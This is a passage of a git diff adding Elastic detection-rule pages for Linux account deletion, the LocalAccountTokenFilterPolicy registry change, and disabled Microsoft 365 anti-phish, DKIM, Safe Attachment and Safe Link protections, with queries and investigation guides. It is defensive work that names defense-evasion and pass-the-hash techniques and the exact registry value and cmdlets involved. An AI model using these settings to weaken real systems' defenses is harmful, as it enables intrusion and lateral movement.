https://attack.mitre.org/techniques/T1098/007/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-user-or-group-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-user-or-group-deletion.asciidoc new file mode 100644 index 0000000000..4fe05ccbfd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-linux-user-or-group-deletion.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-linux-user-or-group-deletion]] +=== Linux User or Group Deletion + +This rule detects the deletion of user or group accounts on Linux systems. Adversaries may use these commands to remove accounts to cover their tracks or disrupt operations. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-system.auth-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Linux User or Group Deletion* + + +This rule surfaces successful deletions of Linux users or groups—activity that can erase evidence, hide persistence, or disrupt access control. A common pattern is an attacker with root rights running userdel -r to remove a temporary privileged account they used for access, deleting its home directory and mail spool to strip artifacts. Correlate with recent privilege escalation and changes to sudoers/wheel to identify whether this was malicious cleanup versus routine deprovisioning. + + +*Possible investigation steps* + + +- Correlate with auth and sudo logs to identify the actor, session (TTY/SSH), and source IP that executed the deletion and confirm whether root was obtained via sudo or another escalation path. +- Inspect the process tree and command line to see if userdel/groupdel used -r to remove the home/mail spool and whether it was launched from an interactive shell, SSH session, or automation tooling. +- Validate expected deprovisioning by checking HR/ticketing/IdM and configuration-management activity around the time, and escalate if the deleted identity was privileged or part of sudo/wheel. +- Build a timeline around the event to find adjacent actions such as account creation, password or key changes, group membership edits, and modifications to /etc/passwd, /etc/group, /etc/shadow, or sudoers. +- Assess impact and persistence by locating services, cron/systemd units, files, ACLs, or running processes still referencing the deleted UID/GID, attempt recovery of the home/mail from backups, and look for wtmp/btmp/lastlog tampering. + + +*False positive analysis* + + +- Scheduled deprovisioning or baseline enforcement where administrators intentionally remove stale local users or groups associated with retired projects, decommissioned systems, or role changes during maintenance. +- Package uninstall or system maintenance scripts that add a service account during setup and later remove it during cleanup, causing legitimate user/group deletion events. + + +*Response and remediation* + + +- If the deletion is unauthorized, immediately isolate the host and restrict interactive access by setting PermitRootLogin no and tightening AllowUsers/AllowGroups in /etc/ssh/sshd_config, then systemctl restart sshd to apply. +- Review and clean authorization and persistence by inspecting /etc/sudoers and /etc/sudoers.d for unauthorized rules, checking wheel/sudo memberships in /etc/group, and purging cron or systemd units that reference the deleted UID/GID. +- Recover the identity if legitimate by recreating the user/group with the original UID/GID from /var/backups/{passwd,group,shadow}, restoring the corresponding /home directory and /var/spool/mail from backups, and reassigning orphaned files using find -nouser -nogroup to a valid account. +- Rotate credentials associated with the deleted identity by replacing SSH keys and secrets found in ~/.ssh/authorized_keys and application configs, and invalidate cached tokens and service account credentials that may have been shared. +- Escalate to incident response if the deleted account was privileged (present in wheel/sudo groups), userdel/groupdel used -r to remove the home/mail spool, or evidence of log tampering exists such as truncated /var/log/auth.log or altered wtmp/btmp/lastlog. +- Harden by centralizing local account lifecycle in IdM/LDAP, enforcing visudo-managed sudo changes, enabling auditd watches on /usr/sbin/userdel,/usr/sbin/groupdel and writes to /etc/passwd,/etc/group,/etc/shadow, and deploying AIDE to monitor integrity of /etc. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Filebeat. + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete “Setup and Run Filebeat” information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the “Filebeat System Module” to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +iam where host.os.type == "linux" and event.type in ("group", "user") and event.type == "deletion" and event.outcome == "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-local-account-tokenfilter-policy-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-local-account-tokenfilter-policy-disabled.asciidoc new file mode 100644 index 0000000000..3d59ff12c3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-local-account-tokenfilter-policy-disabled.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-20-local-account-tokenfilter-policy-disabled]] +=== Local Account TokenFilter Policy Disabled + +Identifies registry modification to the LocalAccountTokenFilterPolicy policy. If this value exists (which doesn't by default) and is set to 1, then remote connections from all local members of Administrators are granted full high-integrity tokens during negotiation. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2014-04-02/finding/V-36439 +* https://posts.specterops.io/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy-506c25a7c167 +* https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Local Account TokenFilter Policy Disabled* + + +The LocalAccountTokenFilterPolicy is a Windows registry setting that, when enabled, allows remote connections from local administrators to use full high-integrity tokens. Adversaries may exploit this to bypass User Account Control (UAC) and gain elevated privileges remotely. The detection rule monitors changes to this registry setting, identifying potential unauthorized modifications that could indicate an attempt to facilitate lateral movement or evade defenses. + + +*Possible investigation steps* + + +- Review the registry event logs to confirm the change to the LocalAccountTokenFilterPolicy setting, specifically looking for entries where the registry.value is "LocalAccountTokenFilterPolicy" and registry.data.strings is "1" or "0x00000001". +- Identify the user account and process responsible for the registry modification by examining the associated event logs for user and process information. +- Check for any recent remote connections to the affected system, focusing on connections initiated by local administrator accounts, to determine if the change was exploited for lateral movement. +- Investigate any other recent registry changes on the host to identify potential patterns of unauthorized modifications that could indicate broader malicious activity. +- Correlate the event with other security alerts or logs from data sources like Elastic Endgame, Elastic Defend, Sysmon, SentinelOne, or Microsoft Defender for Endpoint to gather additional context and assess the scope of the potential threat. +- Assess the system for signs of compromise or malicious activity, such as unusual processes, network connections, or file modifications, that may have occurred around the time of the registry change. + + +*False positive analysis* + + +- Administrative tools or scripts that modify the LocalAccountTokenFilterPolicy for legitimate configuration purposes may trigger alerts. To manage this, identify and document these tools, then create exceptions for their known registry changes. +- System updates or patches that adjust registry settings as part of their installation process can cause false positives. Monitor update schedules and correlate alerts with these activities to determine if they are benign. +- Security software or management solutions that enforce policy changes across endpoints might modify this registry setting. Verify these actions with your IT or security team and consider excluding these processes from triggering alerts. +- Custom scripts or automation tasks used for system hardening or configuration management may alter this setting. Review these scripts and whitelist their expected changes to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Revert the registry setting for LocalAccountTokenFilterPolicy to its default state if it was modified without authorization. +- Conduct a thorough review of recent administrative activities and access logs on the affected system to identify any unauthorized access or changes. +- Reset passwords for all local administrator accounts on the affected system to prevent potential misuse of compromised credentials. +- Deploy endpoint detection and response (EDR) tools to monitor for any further suspicious activities or attempts to modify registry settings. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement additional network segmentation and access controls to limit administrative access to critical systems and reduce the risk of similar threats. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "LocalAccountTokenFilterPolicy" and + registry.path : ( + "HKLM\\*\\LocalAccountTokenFilterPolicy", + "\\REGISTRY\\MACHINE\\*\\LocalAccountTokenFilterPolicy", + "MACHINE\\*\\LocalAccountTokenFilterPolicy" + ) and registry.data.strings : ("1", "0x00000001") and + not process.executable : ( + /* Intune */ + "C:\\Windows\\system32\\deviceenroller.exe", + "C:\\Windows\\system32\\omadmclient.exe", + "C:\\Windows\\UUS\\amd64\\MoUsoCoreWorker.exe", + "C:\\Windows\\UUS\\Packages\\Preview\\amd64\\MoUsoCoreWorker.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\system32\\deviceenroller.exe", + "\\Device\\HarddiskVolume*\\system32\\omadmclient.exe", + "\\Device\\HarddiskVolume*\\UUS\\amd64\\MoUsoCoreWorker.exe", + "\\Device\\HarddiskVolume*\\UUS\\Packages\\Preview\\amd64\\MoUsoCoreWorker.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Pass the Hash +** ID: T1550.002 +** Reference URL: https://attack.mitre.org/techniques/T1550/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-anti-phish-policy-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-anti-phish-policy-deleted.asciidoc new file mode 100644 index 0000000000..d0ba3fd0e1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-anti-phish-policy-deleted.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-20-m365-exchange-anti-phish-policy-deleted]] +=== M365 Exchange Anti-Phish Policy Deleted + +Identifies the deletion of an anti-phishing policy in Microsoft 365. By default, Microsoft 365 includes built-in features that help protect users from phishing attacks. Anti-phishing polices increase this protection by refining settings to better detect and prevent attacks. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-antiphishpolicy?view=exchange-ps +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/set-up-anti-phishing-policies?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Anti-Phish Policy Deleted* + + +Microsoft 365's anti-phishing policies enhance security by fine-tuning detection settings to thwart phishing attacks. Adversaries may delete these policies to weaken defenses, facilitating unauthorized access. The detection rule monitors audit logs for successful deletions of anti-phishing policies, signaling potential malicious activity by identifying specific actions and outcomes associated with policy removal. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "Remove-AntiPhishPolicy" to identify the user account responsible for the deletion. +- Check the event.outcome field to confirm the success of the policy deletion and gather additional context from related logs around the same timestamp. +- Investigate the user account's recent activities in Microsoft 365 to identify any other suspicious actions or anomalies, such as unusual login locations or times. +- Assess whether the user account has been compromised by checking for any unauthorized access attempts or changes in account settings. +- Evaluate the impact of the deleted anti-phishing policy by reviewing the organization's current phishing protection measures and any recent phishing incidents. +- Coordinate with the IT security team to determine if the policy deletion was authorized or part of a legitimate change management process. + + +*False positive analysis* + + +- Routine administrative actions may trigger the rule if IT staff regularly update or remove outdated anti-phishing policies. To manage this, create exceptions for known administrative accounts performing these actions. +- Scheduled policy reviews might involve the removal of policies as part of a legitimate update process. Document these schedules and exclude them from triggering alerts by setting time-based exceptions. +- Automated scripts used for policy management can inadvertently cause false positives. Identify and whitelist these scripts to prevent unnecessary alerts. +- Changes in organizational policy that require the removal of certain anti-phishing policies can be mistaken for malicious activity. Ensure that such changes are communicated and logged, and adjust the rule to recognize these legitimate actions. +- Test environments where policies are frequently added and removed for validation purposes can generate false positives. Exclude these environments from the rule to avoid confusion. + + +*Response and remediation* + + +- Immediately isolate the affected user accounts and systems to prevent further unauthorized access or data exfiltration. +- Recreate the deleted anti-phishing policy using the latest security guidelines and ensure it is applied across all relevant user groups. +- Conduct a thorough review of recent email activity and logs for the affected accounts to identify any phishing emails that may have bypassed security measures. +- Reset passwords for affected accounts and enforce multi-factor authentication (MFA) to enhance account security. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Escalate the incident to the incident response team if there is evidence of broader compromise or if sensitive data has been accessed. +- Implement enhanced monitoring and alerting for similar actions in the future to quickly detect and respond to any further attempts to delete security policies. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Remove-AntiPhishPolicy" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-dkim-signing-configuration-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-dkim-signing-configuration-disabled.asciidoc new file mode 100644 index 0000000000..280e072bb7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-dkim-signing-configuration-disabled.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-20-m365-exchange-dkim-signing-configuration-disabled]] +=== M365 Exchange DKIM Signing Configuration Disabled + +Identifies when a DomainKeys Identified Mail (DKIM) signing configuration is disabled in Microsoft 365. With DKIM in Microsoft 365, messages that are sent from Exchange Online will be cryptographically signed. This will allow the receiving email system to validate that the messages were generated by a server that the organization authorized and were not spoofed. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/set-dkimsigningconfig?view=exchange-ps + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange DKIM Signing Configuration Disabled* + + +DomainKeys Identified Mail (DKIM) is a security protocol that ensures email authenticity by allowing recipients to verify that messages are sent from authorized servers. Disabling DKIM can expose organizations to email spoofing, where attackers impersonate legitimate domains to conduct phishing attacks. The detection rule identifies when DKIM is disabled in Microsoft 365, signaling potential unauthorized changes that could facilitate persistent threats. + + +*Possible investigation steps* + + +- Review the audit logs in Microsoft 365 to identify the user or service account associated with the event.action "Set-DkimSigningConfig" where o365.audit.Parameters.Enabled is False. This will help determine who or what initiated the change. +- Check the event.timestamp to establish when the DKIM signing configuration was disabled and correlate this with any other suspicious activities or changes in the environment around the same time. +- Investigate the event.outcome field to confirm that the action was successful and not a failed attempt, which could indicate a misconfiguration or unauthorized access attempt. +- Examine the event.provider and event.category fields to ensure that the event is specifically related to Exchange and web actions, confirming the context of the alert. +- Assess the risk score and severity level to prioritize the investigation and determine if immediate action is required to mitigate potential threats. +- Look into any recent changes in administrative roles or permissions that could have allowed unauthorized users to disable DKIM signing, focusing on persistence tactics as indicated by the MITRE ATT&CK framework reference. + + +*False positive analysis* + + +- Routine administrative changes: Sometimes, DKIM signing configurations may be disabled temporarily during routine maintenance or updates by authorized IT personnel. To manage this, establish a process to document and approve such changes, and create exceptions in the monitoring system for these documented events. +- Testing and troubleshooting: IT teams may disable DKIM as part of testing or troubleshooting email configurations. Ensure that these activities are logged and approved, and consider setting up alerts that differentiate between test environments and production environments to reduce noise. +- Configuration migrations: During migrations to new email systems or configurations, DKIM may be disabled as part of the transition process. Implement a change management protocol that includes notifying the security team of planned migrations, allowing them to temporarily adjust monitoring rules. +- Third-party integrations: Some third-party email services may require DKIM to be disabled temporarily for integration purposes. Maintain a list of approved third-party services and create exceptions for these specific cases, ensuring that the security team is aware of and has approved the integration. + + +*Response and remediation* + + +- Immediately re-enable DKIM signing for the affected domain in Microsoft 365 to restore email authenticity and prevent potential spoofing attacks. +- Conduct a review of recent administrative activities in Microsoft 365 to identify any unauthorized changes or suspicious behavior that may have led to the DKIM configuration being disabled. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized change and potential risks associated with it. +- Implement additional monitoring on the affected domain and related accounts to detect any further unauthorized changes or suspicious activities. +- Review and update access controls and permissions for administrative accounts in Microsoft 365 to ensure that only authorized personnel can modify DKIM settings. +- Escalate the incident to the organization's incident response team for further investigation and to determine if any additional security measures are necessary. +- Consider implementing additional email security measures, such as SPF and DMARC, to complement DKIM and enhance overall email security posture. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Set-DkimSigningConfig" and o365.audit.Parameters.Enabled:False and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-email-safe-attachment-rule-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-email-safe-attachment-rule-disabled.asciidoc new file mode 100644 index 0000000000..ad422193ef --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-email-safe-attachment-rule-disabled.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-20-m365-exchange-email-safe-attachment-rule-disabled]] +=== M365 Exchange Email Safe Attachment Rule Disabled + +Identifies when a safe attachment rule is disabled in Microsoft 365. Safe attachment rules can extend malware protections to include routing all messages and attachments without a known malware signature to a special hypervisor environment. An adversary or insider threat may disable a safe attachment rule to exfiltrate data or evade defenses. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/disable-safeattachmentrule?view=exchange-ps + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Email Safe Attachment Rule Disabled* + + +Microsoft 365's Safe Attachment feature enhances security by analyzing email attachments in a secure environment to detect unknown malware. Disabling this rule can expose organizations to threats by allowing potentially harmful attachments to bypass scrutiny. Adversaries may exploit this to exfiltrate data or avoid detection. The detection rule monitors audit logs for successful attempts to disable this feature, signaling potential defense evasion activities. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "Disable-SafeAttachmentRule" to identify the user or account responsible for the action. +- Check the event.outcome field to confirm the success of the rule being disabled and gather additional context from related logs around the same timestamp. +- Investigate the event.provider "Exchange" to determine if there are any other recent suspicious activities or changes made by the same user or account. +- Assess the event.category "web" to understand if there were any web-based interactions or anomalies that coincide with the disabling of the safe attachment rule. +- Evaluate the risk score and severity to prioritize the investigation and determine if immediate action is required to mitigate potential threats. +- Cross-reference the identified user or account with known insider threat indicators or previous security incidents to assess the likelihood of malicious intent. + + +*False positive analysis* + + +- Routine administrative changes can trigger alerts when IT staff disable Safe Attachment rules for legitimate reasons, such as testing or maintenance. To manage this, create exceptions for known administrative accounts or scheduled maintenance windows. +- Automated scripts or third-party tools used for email management might disable Safe Attachment rules as part of their operations. Identify these tools and exclude their actions from triggering alerts by whitelisting their associated accounts or IP addresses. +- Changes in organizational policy or security configurations might necessitate temporary disabling of Safe Attachment rules. Document these policy changes and adjust the monitoring rules to account for these temporary exceptions. +- Training or onboarding sessions for new IT staff might involve disabling Safe Attachment rules as part of learning exercises. Ensure these activities are logged and excluded from alerts by setting up temporary exceptions for training periods. + + +*Response and remediation* + + +- Immediately re-enable the Safe Attachment Rule in Microsoft 365 to restore the security posture and prevent further exposure to potentially harmful attachments. +- Conduct a thorough review of recent email logs and quarantine any suspicious attachments that were delivered during the period the rule was disabled. +- Isolate any systems or accounts that interacted with suspicious attachments to prevent potential malware spread or data exfiltration. +- Escalate the incident to the security operations team for further investigation and to determine if there was any unauthorized access or data compromise. +- Implement additional monitoring on the affected accounts and systems to detect any signs of ongoing or further malicious activity. +- Review and update access controls and permissions to ensure that only authorized personnel can modify security rules and configurations. +- Conduct a post-incident analysis to identify the root cause and implement measures to prevent similar incidents, such as enhancing alerting mechanisms for critical security rule changes. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Disable-SafeAttachmentRule" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-email-safe-link-policy-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-email-safe-link-policy-disabled.asciidoc new file mode 100644 index 0000000000..c4eac7dfcb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-m365-exchange-email-safe-link-policy-disabled.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-20-m365-exchange-email-safe-link-policy-disabled]] +=== M365 Exchange Email Safe Link Policy Disabled + +Identifies when a Safe Link policy is disabled in Microsoft 365. Safe Link policies for Office applications extend phishing protection to documents that contain hyperlinks, even after they have been delivered to a user. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/disable-safelinksrule?view=exchange-ps +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/atp-safe-links?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Email Safe Link Policy Disabled* + + +Microsoft 365's Safe Link policies enhance security by scanning hyperlinks in documents for phishing threats, even post-delivery. Disabling these policies can expose users to phishing attacks. Adversaries might exploit this by disabling Safe Links to facilitate malicious link delivery. The detection rule identifies successful attempts to disable Safe Link policies, signaling potential security breaches. + + +*Possible investigation steps* + + +- Review the event logs for the specific event.dataset:o365.audit and event.provider:Exchange to confirm the occurrence of the "Disable-SafeLinksRule" action with a successful outcome. +- Identify the user account associated with the event.action:"Disable-SafeLinksRule" to determine if the action was performed by an authorized individual or if the account may have been compromised. +- 